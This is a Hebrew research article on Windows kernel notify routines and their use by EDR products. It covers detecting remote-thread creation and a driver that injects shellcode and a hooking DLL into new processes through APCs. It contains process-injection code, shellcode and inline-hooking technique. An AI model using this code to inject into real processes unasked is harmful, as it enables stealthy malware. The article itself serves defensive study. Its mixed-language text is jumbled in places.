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Windows Notify Routine Internals 

 (m4gnumמאת עומר כץ )

 

 הקדמה

דרייברים רבים צריכים לעקוב אחר פעולות ספציפיות של מערכת ההפעלה, כמו יצירות תרדים, יצירות 

וכו'. בעוד שבגרסאות מוקדמות יותר של  registry-ודרייברים, שימוש בים -DLLתהליכים, טעינה של 

Windows  המעקב הזה היה ממומש בקלות בעזרתSSDT Hooking או טכניקות דומות, מאז ש-

Patchguard  נכנס לתמונה השיטות האלה נמחקו לחלוטין, ולכן במייקרוסופט החליטו לספק ממשק רשמי

 . במאמר זה אעסוק בסוגיות הבאות:Notify Routines-ו Callbacks -למעקב אחר פעולות בסגנון הזה 

  מהםNotify Routines / Callbacks? 

  כיצדEDR-ים ו-AV-חשודה? ים יכולים להשתמש בהם לזיהוי של התנהגות 

  כיצדNotify Routines ?עובדים? מה באמת קורה שם 

 כיצד הקרנל מסנכרן בין שימושים ב-Notify Routinesהאם יש שימוש ב?-Locks ?בכלל 

 כיצד ניתן לבצע אנומרציה על כל ה-Notify Routines ?במערכת 

  כיצד ניתן לבצעHooking  עלNotify Routines ? 

 

על כל השאלות הללו אענה במאמר זה, אך אני אציין את ההנחות שלי בהגעה למאמר זה. אני יוצא 

ברמה בסיסית )הכרה של קונספטים ושל יוזרמוד(,  Windowsמנקודת הנחה שהקורא הממוצע מכיר את 

שיהיה (. כמו כן, אני חושב C++ Magic)אני לא עומד לעשות שום  ++C-, ומעט בx86ואסמבלי  C-בקיא ב

יותר קל להבין את המאמר עם רקע מסוים בפיתוח דרייברים )למרות שאשתדל להסביר כל דבר שעשוי 

 .הזהלהיות לא ברור(, ממליץ על המאמר 

  

https://www.codeproject.com/Articles/9504/Driver-Development-Part-1-Introduction-to-Drivers
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 ?Notify Routines / Callbacksמהם 

כפי שציינתי קודם לכן, הקרנל מספק ממשק רשמי עבור דרייברים למעקב אחר אירועים קריטיים של 

 Notify. אשתמש במאמר זה במונחים Notify Routines / Callbacksמערכת ההפעלה, שהוא הממשק של 

Routines ו-Callbacks .לסירוגין בתור מושגים נרדפים 

 רכיבים של הקרנל מספקים ממשק שכזה, כגון:מגוון 

  מספק  -מנהל התהליכים והתרדיםNotify Routines  ,על אירועים של יצירת תהליכים, יצירת תרדים

 PsSetCreateProcessNotifyRoutine, PsSetCreateThreadNotifyRoutine-בשימוש ב Imagesוטעינת 

 .PsSetLoadImageNotifyRoutine-ו

 מספק  -גורציה מנהל הקונפיCallbacks על אירועים ב-Registry בשימוש ב-CmRegisterCallback. 

  מספק  -מנהל האובייקטיםCallbacks  על אירועי יצירת ושכפולHandles בשימוש ב-

ObRegisterCallbacks. 

 ... 

של מנהל התהליכים והתרדים מכיוון שהם הנפוצים ביותר )למרות  Callbacks-במאמר הזה אתעמק ב

בקרנל, ולכן המסקנות  Callbacks-שגם השאר שימושיים לא פחות(, אך רעיונית הם דומים מאוד לשאר ה

 .Callbacks-מהמאמר יכולות להיות מיושמות בצורה כזו או אחרת גם על שאר סוגי ה

Callbacks של יצירת וסיום תהליך 

)וכן  PsSetCreateProcessNotifyRoutineים של יצירת וסיום תהליך הוא -Callbackשק להגדרת הממ

ומאפשרות הגדרת אירועים ספציפיים יותר(.  Callback-שמספקות מעט יותר מידע ל Ex2-ו Exגרסאות 

 החתימה שלו היא:

NTSTATUS PsSetCreateProcessNotifyRoutine( 

  PCREATE_PROCESS_NOTIFY_ROUTINE NotifyRoutine, 

  BOOLEAN                        Remove 

); 

 _PCREATE_PROCESS)מסוג  Callback-מועבר מצביע לפונקציה של ה NotifyRoutineבארגומנט 

NOTIFY_ROUTINE ובארגומנט ,)Remove מצוין האם על הפונקציה למחוק את ה-Callback אותו.  או ליצור

 היא כזו: PCREATE_PROCESS_NOTIFY_ROUTINEההגדרה של 

PCREATE_PROCESS_NOTIFY_ROUTINE PcreateProcessNotifyRoutine; 

 

void PcreateProcessNotifyRoutine( 

  HANDLE ParentId, 

  HANDLE ProcessId, 

  BOOLEAN Create 

) 

{...} 
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מועבר  ProcessIdשל התהליך שיצר את התהליך החדש, בארגומנט  pid-מועבר ה ParentIdבארגומנט 

מצוין האם מדובר באירוע של יצירת תהליך או של סיום  Createשל התהליך החדש, ובארגומנט  pid-ה

 תהליך.

Callbacks של יצירת וסיום תרד 

)וכן  PsSetCreateThreadNotifyRoutineשל יצירת וסיום תרד הוא  Notify Routinesהממשק להגדרת 

 שמאפשרת להגדיר אירועים ספציפיים יותר(. החתימה שלו היא: Exגרסת 

NTSTATUS PsSetCreateThreadNotifyRoutine( 

  PCREATE_THREAD_NOTIFY_ROUTINE NotifyRoutine 

); 

, PCREATE_THREAD_NOTIFY_ROUTINE, מסוג Callback-מועבר מצביע לפונקציית ה NotifyRoutine-ב

 שמוגדר כך:

PCREATE_THREAD_NOTIFY_ROUTINE PcreateThreadNotifyRoutine; 

 

void PcreateThreadNotifyRoutine( 

  HANDLE ProcessId, 

  HANDLE ThreadId, 

  BOOLEAN Create 

) 

{...} 

 tid-מועבר ה ThreadIdשל התהליך שבתוכו נוצר התרד, בארגומנט  pid-מועבר ה ProcessIdבארגומנט 

 מעיד האם זהו אירוע של יצירת או סיום תרד. Createשל התרד שנוצר עתה, והארגומנט 

 של יצירת וסיום תרד הוא: Notify Routinesהממשק למחיקה של 

PsRemoveCreateThreadNotifyRoutine: 

NTSTATUS PsRemoveCreateThreadNotifyRoutine( 

  PCREATE_THREAD_NOTIFY_ROUTINE NotifyRoutine 

); 

 שהוגדרה קודם לכן. Callback-מועבר מן הסתם מצביע לפונקציית ה NotifyRoutine-ב

 

Callbacks  של טעינתImage 

 Ex)וגרסת  PsSetLoadImageNotifyRoutineהוא  Imageשל טעינת  Notify Routinesהממשק להגדרת 

וכך לקבל  PS_IMAGE_NOTIFY_CONFLICTING_ARCHITECTUREשמאפשרת להעביר את הדגל 

שלא מהארכיטקטורה הנייטיבית של מערכת ההפעלה(. זו  Imagesנוטיפיקציות גם על טעינה של 

 :PsSetLoadImageNotifyRoutineהחתימה של 

NTSTATUS PsSetLoadImageNotifyRoutine( 

  PLOAD_IMAGE_NOTIFY_ROUTINE NotifyRoutine 

); 
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 :ROUTINE_NOTIFY_IMAGE_PLOAD, מסוג Callbackמועבר מצביע לפונקצית  NotifyRoutineבארגומנט 

PLOAD_IMAGE_NOTIFY_ROUTINE PloadImageNotifyRoutine; 

 

void PloadImageNotifyRoutine( 

  PUNICODE_STRING FullImageName, 

  HANDLE ProcessId, 

  PIMAGE_INFO ImageInfo 

) 

{...} 

מועבר שם התהליך שאליו  ProcessId-שנטענה, ב image-מועבר שם ה FullImageNameבארגומנט 

-, המכיל מידע נרחב על הIMAGE_INFOמועבר מצביע למבנה מסוג  ImageInfo-, ובImage-נטענה ה

Image :שנטענה 

typedef struct _IMAGE_INFO { 

  union { 

    ULONG Properties; 

    struct { 

      ULONG ImageAddressingMode : 8; 

      ULONG SystemModeImage : 1; 

      ULONG ImageMappedToAllPids : 1; 

      ULONG ExtendedInfoPresent : 1; 

      ULONG MachineTypeMismatch : 1; 

      ULONG ImageSignatureLevel : 4; 

      ULONG ImageSignatureType : 3; 

      ULONG ImagePartialMap : 1; 

      ULONG Reserved : 12; 

    }; 

  }; 

  PVOID  ImageBase; 

  ULONG  ImageSelector; 

  SIZE_T ImageSize; 

  ULONG  ImageSectionNumber; 

} IMAGE_INFO, *PIMAGE_INFO; 

ים יכולים להשתמש בו -AV-ים ו-EDRלאחר שסקרנו בקצרה את הממשק שמסופק, נעסוק כעת בכיצד 

 לזיהוי של התנהגות חשודה.

 

 ?לזיהוי של התנהגות חשודה Callbacks-ים יכולים להשתמש ב-EDRכיצד 

אך צריך להבין כיצד ים לקבל מידע רב על הפעילות של המערכת, -EDR-מאפשרים ל Callbacks-ובכן, ה

ים לעשות מגוון דברים -EDR-מאפשרים ל Callbacks-הם יכולים להסיק ממנו מסקנות. כמו כן, ה

 שמאפשרים מעקב צמוד יותר על התהליכים במערכת. אסקור כעת שתי דוגמאות לדברים שציינתי.
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 Remote Threadזיהוי יצירת 

נוזקות רבות אוהבות מאוד להריץ קוד בתוך תהליכים אחרים  -די ברור  Process Injectionהרעיון של 

, וכדרך למנוע זיהוי שלהן. אחת Stealthyכדרך להריץ קוד שעשוי להיות זדוני בצורה שהיא יחסית 

 קוד(:-השיטות הקלאסיות והבסיסיות ביותר לעשות זאת נראית כך )פסאודו

HANDLE process_handle = OpenProcess(PROCESS_ALL_ACCESS, ...); 

 

LPVOID remote_shellcode = VirtualAllocEx(process_handle, ..., 

sizeof(shellcode), ..., PAGE_EXECUTE_READWRITE); 

 

WriteProcessMemory(process_handle, remote_shellcode, shellcode, ...); 

 

HANDLE thread_handle = CreateRemoteThread(process_handle, ..., 

(LPTHREAD_START_ROUTINE) remote_shellcode, ...); 

 

WaitForSingleObject(thread_handle, INFINITE); 

 

VirtualFreeEx(process_handle, remote_shellcode, ...); 

, מאלקצים זכרון Shellcodeלתהליך אליו נרצה להזריק  Handleבפועל, בשיטה זו, אנו פותחים 

Executable בגודל ה-Shellcodeכותבים את ה ,-Shellcode  אליו, ולאחר מכן יוצרים תרד בתהליך שיריץ

. כדי להחזיר את המצב למצב לפני ההזרקה, נמתין עד שהתרד יסיים לרוץ, ונחזיר את Shellcode-את ה

 כל הזכרון שהקצינו.

. נבדוק את מימוש זה עם כאןנמצא  המימוש המלא של שיטה זו )כמו של שאר השיטות במאמר(

Shellcode  שמקפיץcalc  וננסה להזריק לתוךnotepad: 

 

https://github.com/omerk2511/NotifyRoutinesResearch/tree/master/RemoteThreadShellcodeInjection
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לא התהליך הנוכחי. במגוון , מכיוון שהוא מיועד לרוץ בתהליך שהוא Remote Threadהתרד שיצרנו מכונה 

, וקריאה כזו היא לרוב אינדיקציה חזקה מאוד CreateRemoteThread-שיטות הזרקה ניתן לראות קריאה ל

להתנהגות זדונית, לכן עלינו למצוא דרך לזהות את הקריאה הזו. נכתוב דרייבר שעושה זאת בעזרת 

Routines Notify ין בספר המצו 8. אציין כעת שזה תרגיל מפרקProgramming Kernel Windows  של

 Windows-פאבל יוסיפוביץ', ואני ממליץ מאוד לקרוא אותו אם אתם מתעניינים בפיתוח דרייברים וב

Internals. 

בר הראשון שעולה לי לראש ? הדRemote Threadsובחזרה לתרגיל עצמו, כיצד נוכל לזהות יצירה של 

. Create Thread Notify Routines-כשמדברים על מעקב על יצירה של תרדים באופן כללי זה שימוש ב

 שרשמנו: Callback-בואו נחזור שוב על מה אנו מקבלים בקריאה ל

PCREATE_THREAD_NOTIFY_ROUTINE PcreateThreadNotifyRoutine; 

 

void PcreateThreadNotifyRoutine( 

  HANDLE ProcessId, 

  HANDLE ThreadId, 

  BOOLEAN Create 

) 

{...} 

של  tid-של התהליך שבו נוצר התרד, ועל ה pid-כפי שניתן לראות, אנו מקבלים אך ורק מידע על ה

ל להשוות בין התרד. השאלה שעולה מכאן היא כיצד נוכל להבין מי התהליך שיצר את התרד, שכן כך נוכ

. לכן, אני מתחיל remote thread-שיצר, ולגלות האם מדובר ב pid-לבין ה callback-שקיבלנו ב pid-ה

של  MSDNלעמוד לחקור מעט כיצד ניתן לעשות זאת, ומגיע מהר מאוד 

ROUTINE_NOTIFY_THREAD_PCREATE:בו מצוינת ההערה הבאה , 

When a thread is created, the thread-notify routine runs in the context of the thread that created 

the new thread. When a thread is deleted, the thread-notify routine runs in the context of this 

thread when the thread exits. 

 -מכאן, ניתן להבין שעל מנת לגלות מי התהליך שיצר את התרד, נוכל פשוט לבצע קריאה ל

PsGetCurrentProcessId ולקבל את ה-pid  של התהליך היוצר, משום שאנו נמצאים בקונטקסט שלו בזמן

 .callback-הרצת ה

תהליכים חדשים.  -, אך יש לנו בעיה אחת Remote Threadsאז עד כה הבנו כיצד נוכל לזהות יצירה של 

, משום Remote Thread, נוצר גם התרד הראשי, והוא לכאורה Windows-כשתהליך חדש נוצר ב

שהתהליך שיוצר אותו הוא התהליך שיוצר את התהליך החדש. כיצד נוכל להתמודד עם בעיה זו? בגלל 

יש אופציה למנוע את יצירת התהליך, אני יכול להניח  PsSetCreateProcessNotifyRoutineEx-שבשימוש ב

על יצירת תהליך נקראות לפני נוטיפיקציות על יצירת תרד במקרה של תהליך בבטחון רב שנוטיפיקציות 

 Createחדש, וכך אוכל להשתמש ברשימה קטנה שבה אשמור מידע על כל התהליכים החדשים בעזרת 

Process Notify Routineוב ,-callback  של יצירת תרד אבדוק האם התהליך הזה חדש או ישן, ואחליט

 .remote threadם יצירת תרד ראשי בתהליך חדש או שזו אכן יצירת בהתאם האם זוהי סת

https://leanpub.com/windowskernelprogramming
https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nc-ntddk-pcreate_thread_notify_routine
https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nc-ntddk-pcreate_thread_notify_routine
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 שאפיינו כעת: Remote Threads-נסכם את שיטת זיהוי ה

 של יצירת תהליך ושל יצירת תרד. Notify Routinesנרשום  .1

 של התהליך שנוצר לרשימה של תהליכים חדשים. pid-בעת יצירת תהליך, נכניס את ה .2

אם התהליך הנוכחי אינו התהליך שבו נוצר התרד, ואם התהליך שבו נוצר בעת יצירת תרד, נבדוק ה .3

 ונדווח עליו. Remote Thread-התרד אינו תהליך חדש. אם כל התנאים הללו חיוביים, נסיק שמדובר ב

, אך נסקור כעת את הפונקציות העיקריות במימוש, שהן הפונקציות כאןהמימוש המלא של שיטה זו נמצא 

 על יצירת תהליך ועל יצירת תרד: callbacks-של ה

void notify_routines::create_process(HANDLE, HANDLE process_id, BOOLEAN 

create) 

{ 

    if (create) { 

        g_new_processes_cache->add_process(HandleToULong(process_id)); 

    } 

} 

בפונקציה הזו אנחנו בסה"כ מוסיפים את התהליך שנוצר לרשימת התהליכים החדשים. רשימת התהליכים 

, שמכיל NewProcessCache( היא אובייקט מסוג g_new_process_cacheהחדשים )האובייקט 

LIST_ENTRY ו-FAST_MUTEX שבעזרתם מנוהלת הרשימה. לאחר מכן נשתמש ברשימה זו על מנת ,

 אמיתית: remote threadלבדוק אם מדובר בתהליך חדש או ביצירת 

 

בפונקציה זו אנו בודקים האם מדובר בתרד שנוצר לא מתוך התהליך אליו הוא שייך, אם מדובר בתהליך 

המייצג את מערכת ההפעלה(, ואם כל  pid-)פסאודו 4שאינו חדש, ואם התהליך שיצר את התרד אינו 

. remote threadsהתנאים הללו חיוביים, הוא מוסיף את הדיווח הזה לרשימת הדיווחים על יצירות 

הרשימה הזו ממומשת בצורה זהה כמעט לחלוטין לרשימה השנייה )רשימת התהליכים החדשים(. במידה 

והתהליך אכן תהליך חדש, נמחק אותו מרשימת התהליכים החדשים, על מנת שנוכל לזהות יצירות 

remote threads .בו בהמשך 

https://github.com/omerk2511/NotifyRoutinesResearch/tree/master/RemoteThreadDetectorDriver
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-קודם. נטען את הדרייבר ונריץ את הה POC-נבדוק כעת האם הדרייבר הזה עובד, ונעשה זאת בעזרת ה

POC :של הזרקת הקוד 

 

-. התחלה טובה. ניתן להבין שזה חלק שסביר מאוד להניח שremote threadבום! אנחנו מזהים יצירת 

EDR- ים רבים מטמיעים בתוך המוצר שלהם, שכן הוא מאפשר זיהוי של התנהגות חשודה מאוד במאמץ

 מינימלי יחסית.
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 נקציות ספריה בתהליכים חדשיםהוקינג של פו

מוצרי הגנה מעוניינים לרוב לעקוב אחר כל הפעילות של תהליכים במערכת, כדי להיות מסוגלים לזהות 

הן אופציה מצוינת לכך, הן מאוד  Notify Routines-בזמן אמת התנהגויות חשודות ולהגיב להן. בעוד ש

מוגבלות ומאפשרות לקבל נוטיפיקציות רק על סט מסוים של אירועים, לכן במקרה ונרצה לזהות לדוגמה 

APC Injection .לא נוכל לעשות זאת בעזרתן , 

, פיצ'ר שמאפשר לקבל התראות על ETW (Event Tracing for Windows)-אופציה אחרת היא להשתמש ב

ים לא יכולים -EDRי, ולכן -real-timeרועים במערכת, אך החסרון העיקרי שלו הוא שהוא לא באמת המון אי

להשתמש בו כדי למנוע התנהגויות חשודות בזמן אמת. האופציה שעליה נלך בחלק זה היא הוקינג של כל 

צירת כדי לקבל התראות על י notify routines-פונקציות הספריה בתהליכים חדשים, בה נשתמש ב

על מנת להזריק להם קוד שירוץ לפני  תהליכים חדשים )ועל יצירת תרדים חדשים, נדבר על כך בקרוב(

ריצת התרד הראשי ויעשה הוק לכל פונקציות הספריה. כך, נוכל לקבל התראות ולהגיב להן בזמן אמת, 

 על כל אירוע שנחפוץ בו. 

ין, ושיש מספר שיטות לעקוף אותה מתוך החסרון העיקרי של שיטה זו היא שהיא יוזרמודית לחלוט

, כדי לקבל כמה Notify Routines-ו ETWים ישתמשו בשיטה זו, בשילוב עם -EDRהתהליך עצמו, לכן לרוב 

 שיותר מידע ולהיות מסוגלים להגיב לכל מה שאפשר.

י שהתרד אז שוב, התכנית היא להזריק קוד לכל תהליך שנוצר, שיעשה הוק על כל פונקציות הספריה לפנ

הראשי ירוץ. כיצד נעשה זאת? בואו נפרק את השאלה הזו לחלקים. בסופו של דבר, נצטרך לפתור את 

 ארבע השאלות הבאות על מנת לעשות זאת:

 כיצד נוכל לקבל התראה על כל תהליך שנוצר? .1

 כיצד נוכל לכתוב קוד לתוך תהליך מהקרנל? .2

 שהתרד הראשי ירוץ?כיצד נוכל להריץ את הקוד שהוזרק מהקרנל לפני  .3

 כיצד נוכל לעשות הוק לכל פונקציות הספריה בתהליך? .4

 Create Process Notify Routineבסה"כ נצטרך ליצור  -על השאלה הראשונה אתם מסוגלים לענות בקלות 

 ונסגור פינה בהקשר הזה.

המיידית  השאלה השנייה היא מורכבת מעט יותר, אך אפשרית בהחלט. אם היינו ביוזרמוד, התשובה

, כאשר נאלקץ את הזכרון עם הגנת WriteProcessMemory-וב VirtualAllocEx-הייתה להשתמש ב

PAGE_EXECUTE_READWRITE הגנה זו מן הסתם חשודה מאוד, לכן נעדיף לאלקץ את הזכרון עם .

PAGE_EXECUTE_READ לעשות ,VirtualProtect  ולהעביר להגנתPAGE_READWRITEן , לכתוב את הזכרו

 ולאחר מכן להחזיר להגנה המקורית. 

כיצד נעשה זאת מן הקרנל? בפועל, כל אחת מהפונקציות האלה הן פונקציות שעוטפות שלוש פונקציות 

native  :)פונקציות שעוטפות קריאות מערכת(NtAllocateVirtualMemory ,NtWriteVirtualMemory ,

NtProtectVirtualMemoryציות האלה ישירות מהקרנל באותה צורה שהיינו . לכן, נוכל להשתמש בפונק
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בקרנל ולא  Zwמשתמשים מיוזרמוד, וכך לכתוב את הקוד לתוך התהליך. נעדיף להשתמש בקריאות 

-ולא תגיע ישירות לפונקציה המטפלת ב syscallכדי שהקריאה תעבור דרך הנתיב הרגיל של  Ntבקריאות 

syscall עם זאת, נעשה את הסוג הזה של קריאה רק בהקשר של .ZwAllocateVirtualMemory הסיבה .

הראשונה לכך היא שכשנבצע את ההזרקה, נרוץ מהקונטקסט של התהליך )איך? בשאלה הבאה תגלו(, 

 לא רלוונטי מכיוון שאנחנו יכולים בנקודה הזו לרשום ישירות לזכרון.  ZwWriteVirtualMemoryולכן 

, Windows 8.1-רק החל מ exportedהיא  ZwProtectVirtualMemoryיבה השנייה היא שהפונקציה הס

ולכן נעדיף למצוא דרך שואלידית גם עבור גרסאות ישנות יותר. הדרך הקלאסית לעקוף בקרנל 

protection  שלmemory היא להשתמש ב-MDL  וליצור מיפוי נוסף לכתובת הפיזית עםprotection  של

PAGE_READWRITE ובדרך זו נבחר. לקריאה נוספת על ,MDLs ב-Windows  כאןמוזמנים לקרוא . 

השאלה השלישית היא המורכבת ביותר. לא רק שאנחנו צריכים לגרום לכך שהקוד ירוץ בתוך התהליך 

, פיצ'ר APCsהנתון, אנחנו חייבים לוודא שהוא ירוץ לפני התרד הראשי. הדרך שנעשה זאת היא בעזרת 

 שמאפשר הרצה אסינכרונית של קוד בתוך הקונטקסט של ת'רד מסוים.  Windowsשל 

-, או בעת קריאה לAlertable State-יוזרמודיים )רגילים( רצים אך ורק כשהת'רד הוא ב APCsבעקרון, 

NtTestAlertשזוהי פונקציה שמבצעת את כל ה ,-APCs  של התרד הספציפי שקורא לפונקציה, אחד אחרי

של כל ת'רד יוזרמודי, קוראת  entry point-שהיא ה LdrpInitializeהשני. מה שמגניב זה שהפונקציה 

נקי כבר(, כך שנוכל פשוט לעשות  APC Queue-)על מנת שהתרד ירוץ כאשר ה NtTestAlertלפונקציה 

queue ל-APC  .שיריץ את הקוד שהזרקנו לפני תחילת ריצת התרד, וכך הוא ירוץ לפני התכנית האמיתית 

, שתבדוק האם התהליך הינו create thread notify routineשל התרד הראשי על ידי  tid-נמצא את ה

(, ואם כן, תזריק את protectedביט שהוא לא  44ליך תהליך חדש שאנחנו מעוניינים להזריק אליו קוד )תה

 create thread notifyביוזרמוד שיריץ אותו. בעיה שעולה מכאן היא שמתוך APC-ל queueהקוד ותעשה 

routine  אנחנו מאוד מוגבלים, משום שהריצה מתבצעת באיזשהוregion  ,שחלק מהפעולות בו מוגבלות

. על מנת notify routine-ך שלא נוכל להזריק את הקוד ישירות מה, כZwAllocateVirtualMemoryכמו 

 APC-ל queueשיריץ את קוד ההזרקה ובסופו יעשה  Kernel APC-ל queueלפתור את הבעיה הזו נעשה 

ממליץ מאוד על סדרת  APCיוזרמודי, ישירות מהקונטקסט של התרד שנזריק אליו. להרחבה נוספת לגבי 

 .כאן. מוזמנים לקרוא Windows-ב APCsשל  internals-רי דמרי שעוסקת בהמאמרים המצוינת של או

ועכשיו לשאלה האחרונה, כיצד נעשה הוק לכל פונקציות הספריה בתהליך? ובכן, אנחנו מריצים קוד בתוך 

 inlineבכל פונקציה שמעניינת אותנו בצורה פשוטה מאוד. בקצרה,  inline hooksהתהליך, לכן נוכל לשים 

hooks  הוראת  -הם למעשה הוקים שמתבססים על טרמפולינותjmp  בתחילת הפונקציה שתעביר את

שמוזרק  Shellcode-שנטען לתהליך בעזרת ה dllמתוך  hooks-ההרצה אלינו. מטעמי נוחות, נשים את ה

 מהקרנל.

 של הדרייבר בצורה כללית: flow-ת ההתרשים הבא מתאר א

https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/using-mdls
https://repnz.github.io/posts/apc/user-apc/
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ים במחקר, -PoC-טוב, מגניב. יש לנו הרבה תכניות, אבל בואו נתחיל לממש את כל הכיף הזה. כמו שאר ה

 create process-ת אעבור על החלקים העיקריים בו, ואתחיל עם ה, אך כעכאןהזה נמצא  PoC-גם ה

notify routine : 

 

 44נבדוק האם התהליך החדש שנוצר הוא תהליך  create process notify routine-כפי שניתן לראות, ב

 נכניס אותו לרשימת התהליכים שנזריק אליהם. -, ואם כן protectedביט שאינו 

  

https://github.com/omerk2511/NotifyRoutinesResearch/tree/master/LibraryHookingDriver
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 :create thread notify routine-נסקור כעת את ה

void notify_routines::create_thread(HANDLE process_id, HANDLE thread_id, 

BOOLEAN create) 

{ 

    if (create && 

        g_new_processes_list-

>is_newly_created(HandleToULong(process_id))) { 

        g_new_processes_list->remove_process(HandleToULong(process_id)); 

 

        PETHREAD thread; 

        ::PsLookupThreadByThreadId(thread_id, &thread); 

 

        PKAPC apc = new (NonPagedPool, config::kDriverTag) KAPC; 

 

        if (!apc) { 

            ... 

        } 

 

        ::KeInitializeApc( 

            apc, 

            thread, 

            OriginalApcEnvironment, 

            &apc_routines::kernel_free_kapc, 

            &apc_routines::rundown_free_kapc, 

            &apc_routines::normal_inject_code, 

            KernelMode, 

            nullptr 

        ); 

 

        if (::ExAcquireRundownProtection(&g_rundown_protection)) { 

            auto inserted = ::KeInsertQueueApc( 

                apc, 

                ... 

            ); 

 

            if (!inserted) { 

                ... 

            } 

        } 

    } 

} 

מעט מסיבית יותר, ובה נעשה דברים קצת יותר מעניינים. ראשית,  create thread notify routine-ה

נבדוק האם התרד הוא תרד בתהליך מתוך רשימת התהליכים החדשים )בוודאות התרד הראשי(, ואם כן 

קרנלי שיטפל בהזרקת הקוד עצמה. ניתן  APC-ל queueנוציא אותו מהרשימה, ולאחר מכן נעשה בו 

שמאפשר גישה  lock)סוג של  rundown protection-ל acquireעצמו, נעשה  queue-לראות שלפני ה

 , נרחיב לגביו בחלק הבא במאמר(. ref countingבטוחה לאובייקט שעשוי להימחק על ידי 

שעוד לא  Kernel APCsמקרים בהם יש לדרייבר, עשויים להיווצר  unloadהסיבה לכך היא שכאשר נעשה 

 APCs-ל count. לא כיף )אלא אם אתם חוקרי חולשות(. לכן, נדאג לנהל איזשהו BSoD-טופלו, וזה ייגמר ב

קרנלי נגדיל אותו באחד, וכשהוא יטופל נקטין אותו  APC-ל queueשעדיין לא טופלו, כך שכל פעם שנעשה 

 באחד. 
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 rundown-, עדיף מבחינת ביצועים להשתמש בinterlocked operations-וב count-במקום להשתמש ב

protectionשעושה פחות או יותר אותו דבר. בפונקצית ה ,-unload  של הדרייבר נכניס קריאה שתמתין

עצמו יתבצע בצורה בטוחה רק אחרי שכולם  unload-יסתיימו ורק אז תחזור, כך שה Kernel APCs-שכל ה

 כך: יסתיימו. הקריאה נראית

::ExWaitForRundownProtectionRelease(&g_rundown_protection); 

מעולה. אז עכשיו הדרייבר מצליח לקבל נוטיפיקציות על כל תהליך חדש ולהריץ קוד בקונטקסט שלו 

 :Kernel APC-בצורה בטוחה, וכעת נסתכל על המימוש של ה

void apc_routines::normal_inject_code(PVOID, PVOID, PVOID) 

{ 

    void* address{ }; 

    size_t shellcode_size = sizeof(injected_shellcode); 

 

    auto status = ::ZwAllocateVirtualMemory( 

        NtCurrentProcess(), 

        &address, 

        0, 

        &shellcode_size, 

        MEM_RESERVE | MEM_COMMIT, 

        PAGE_EXECUTE_READ 

    ); 

 

    if (!NT_SUCCESS(status)) { 

        ... 

    } 

 

    auto mdl = ::IoAllocateMdl( 

        address, 

        sizeof(injected_shellcode), 

        false, 

        false, 

        nullptr 

    ); 

 

    if (!mdl) { 

        ... 

    } 

 

    ::MmProbeAndLockPages( 

        mdl, 

        KernelMode, 

        IoReadAccess 

    ); 

 

    auto mapped_address = ::MmMapLockedPagesSpecifyCache( 

        mdl, 

        KernelMode, 

        MmNonCached, 

        nullptr, 

        false, 

        NormalPagePriority 

    ); 

 

    if (!mapped_address) { 

        ... 
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    } 

 

    status = ::MmProtectMdlSystemAddress( 

        mdl, 

        PAGE_READWRITE 

    ); 

 

    if (!NT_SUCCESS(status)) { 

        ... 

    } 

 

    ::memcpy_s(mapped_address, sizeof(injected_shellcode), 

injected_shellcode, sizeof(injected_shellcode)); 

 

    ::MmUnmapLockedPages(mapped_address, mdl); 

    ::MmUnlockPages(mdl); 

    ::IoFreeMdl(mdl); 

 

    PKAPC apc = new (NonPagedPool, config::kDriverTag) KAPC; 

 

    if (!apc) { 

        ... 

    } 

 

    ::KeInitializeApc( 

        apc, 

        ::KeGetCurrentThread(), 

        OriginalApcEnvironment, 

        &apc_routines::kernel_free_kapc, 

        &apc_routines::rundown_free_kapc, 

        reinterpret_cast<PKNORMAL_ROUTINE>(address), 

        UserMode, 

        nullptr 

    ); 

 

    auto inserted = ::KeInsertQueueApc( 

        apc, 

        nullptr, 

        nullptr, 

        0 

    ); 

 

    if (!inserted) { 

        ... 

    } 

 

    KdPrint(("[+] Injected code and queued an APC successfully 

(pid=%d).\n", ::PsGetCurrentProcessId())); 

 

    ::ExReleaseRundownProtection(&g_rundown_protection); 

} 

עם  MDL, ממפים אותו בעזרת Shellcode-כפי שניתן לראות, בפונקציה זו אנחנו מקצים זכרון עבור ה

שיריץ אותו,  User APC-ל queue, עושים Shellcode-, כותבים אליו את הPAGE_READWRITEהגנה של 

 הקרנלי.  APC-של ה queue-לפני ה acquireשעשינו לו  rundown protection-ל releaseועושים 
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 :Shellcode-בנקודה הזו, הכל מוכן, והגיע תורו של התרד לרוץ, ואיתו ה

; the main function 

_main: 

    mov rax, rsp 

    and rsp, 0xffffffffffffff00 

    add rsp, 8 

    push rax 

 

    call get_rip 

 

get_rip: 

    pop r15 

 

    mov rcx, 0x6ddb9555 ; djb2("KERNEL32.DLL") 

    call get_module_base 

    mov r12, rax 

 

    cmp rax, 0 

    je end 

 

    mov rcx, 0x5fbff0fb ; djb2("LoadLibraryA") 

    mov rdx, r12 

    call resolve_import 

 

    cmp rax, 0 

    je end 

 

    sub rsp, 16 

 

    lea rcx, [r15+dll_path-get_rip] 

    call rax            ; LoadLibraryA("c:\\hooking.dll") 

 

    add rsp, 16 

 

    jmp end 

ופונקציות על ידי  modulesמאוד בסיסי שמחפש בזמן ריצה  Shellcode-כפי שניתן לראות, מדובר ב

-בו הוא משתמש. הוא עושה קריאה ל DLL-של ה export table-ולאחר מכן של ה PEB-פרסור של ה

LoadLibraryA עם שם ה-DLL אותו יטען, ובנקודה הזו פונקצית ה-DllMain  תרוץ. מי שרוצה להעמיק

. נסתכל כעת על פונקצית הזהין מוזמן לקרוא את המאמר המצו Windows-ים ב-Shellcodeבנושא פיתוח 

 שבה מתבצע ההוקינג עצמו:  DllMain-ה

BOOL APIENTRY DllMain(HMODULE hModule, 

    DWORD  ul_reason_for_call, 

    LPVOID lpReserved 

) 

{ 

    switch (ul_reason_for_call) 

    { 

    case DLL_PROCESS_ATTACH: 

    { 

        try { 

            void* original_function = ::GetProcAddress( 

                ::GetModuleHandleA("ntdll"), 

                "NtCreateThreadEx" 

            ); 

https://www.digitalwhisper.co.il/files/Zines/0x52/DW82-1-WinShellcoding.pdf
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            g_inline_hook = new InlineHook(original_function, 

NtCreateThreadExHook); 

        } catch (...) { 

            return false; 

        } 

        break; 

    } 

    ... 

    } 

    ... 

} 

, ואם נסתכל על פונקצית NtCreateThreadExלפונקציה  inline hookכפי שניתן לראות, הפונקציה יוצרת 

 חמוד ומיד קוראת לפונקציה המקורית: message boxההוק, נראה שהיא בסה"כ מציגה 

